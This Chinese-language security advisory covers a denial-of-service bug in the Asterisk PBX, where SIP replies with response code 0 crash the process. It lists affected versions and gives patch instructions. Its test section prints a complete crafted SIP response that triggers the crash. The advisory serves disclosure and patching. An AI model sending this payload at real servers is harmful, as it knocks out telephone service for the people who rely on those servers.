安全研究

安全漏洞
Asterisk SIP响应远程拒绝服务漏洞

发布日期:2007-03-21
更新日期:2007-06-06

受影响系统:
Asterisk Asterisk 1.4.x
Asterisk Asterisk 1.2.x
Asterisk Business Edition B.x.x
Asterisk Business Edition A.x.x
Asterisk AsteriskNOW <= Beta5
Asterisk Appliance Developer Kit 0.x.x
不受影响系统:
Asterisk Asterisk 1.4.3
Asterisk Asterisk 1.2.18
Asterisk Business Edition B.1.3.3
Asterisk AsteriskNOW Beta6
Asterisk Appliance Developer Kit 0.4.0
描述:
BUGTRAQ  ID: 23093,24359
CVE(CAN) ID: CVE-2007-1594,CVE-2007-2297

Asterisk是一款PBX系统的软件,运行在Linux系统上,支持使用SIP、IAX、H323协议进行IP通话。

Asterisk在处理远程系统的SIP回复时存在拒绝服务漏洞,如果远程系统所发送的SIP回复中包含有SIP Response code 0的话,Asterisk SIP通道驱动就会无法正确的解析报文,导致Asterisk进程出现分段错误而崩溃。

<*来源:qwerty1979
  
  链接:http://secunia.com/advisories/24579/
        http://bugs.digium.com/print_bug_page.php?bug_id=9313
        http://marc.info/?l=full-disclosure&m=117746333529220&w=2
        http://security.gentoo.org/glsa/glsa-200704-01.xml
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

SIP/2.0 0
Via: SIP/2.0/UDP MY.IP.ADDRESS:5060;branch=z9hG4bK014de206
From: "CALLING.NUMBER" <sip:CALLING.NUMBER@MY.IP.ADDRESS>;tag=as08a6b037
To: <sip:CALLED.NUMBER@REMOTE.IP.ADDRESS>;tag=008C-0003-D615398C
Call-ID: 61fc18730991c7280bcd891852848a7e@MY.IP.ADDRESS
CSeq: 102 INVITE
Contact: <sip:CALLED.NUMBER@REMOTE.IP.ADDRESS:5060>
Reason: Q.850 ;cause=17
User-Agent: VEGA400/10.02.07.2xS019
Content-Length: 0

建议:
厂商补丁:

Gentoo
------
Gentoo已经为此发布了一个安全公告(GLSA-200704-01)以及相应补丁:
GLSA-200704-01:Asterisk: Two SIP Denial of Service vulnerabilities
链接:http://security.gentoo.org/glsa/glsa-200704-01.xml

所有Asterisk用户都应升级到最新版本:

    # emerge --sync
    # emerge --ask --oneshot --verbose net-misc/asterisk

Asterisk
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://ftp.digium.com/pub/asterisk/releases/asterisk-1.4.3.tar.gz
http://ftp.digium.com/pub/asterisk/releases/asterisk-1.2.18.tar.gz

浏览次数:3708
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障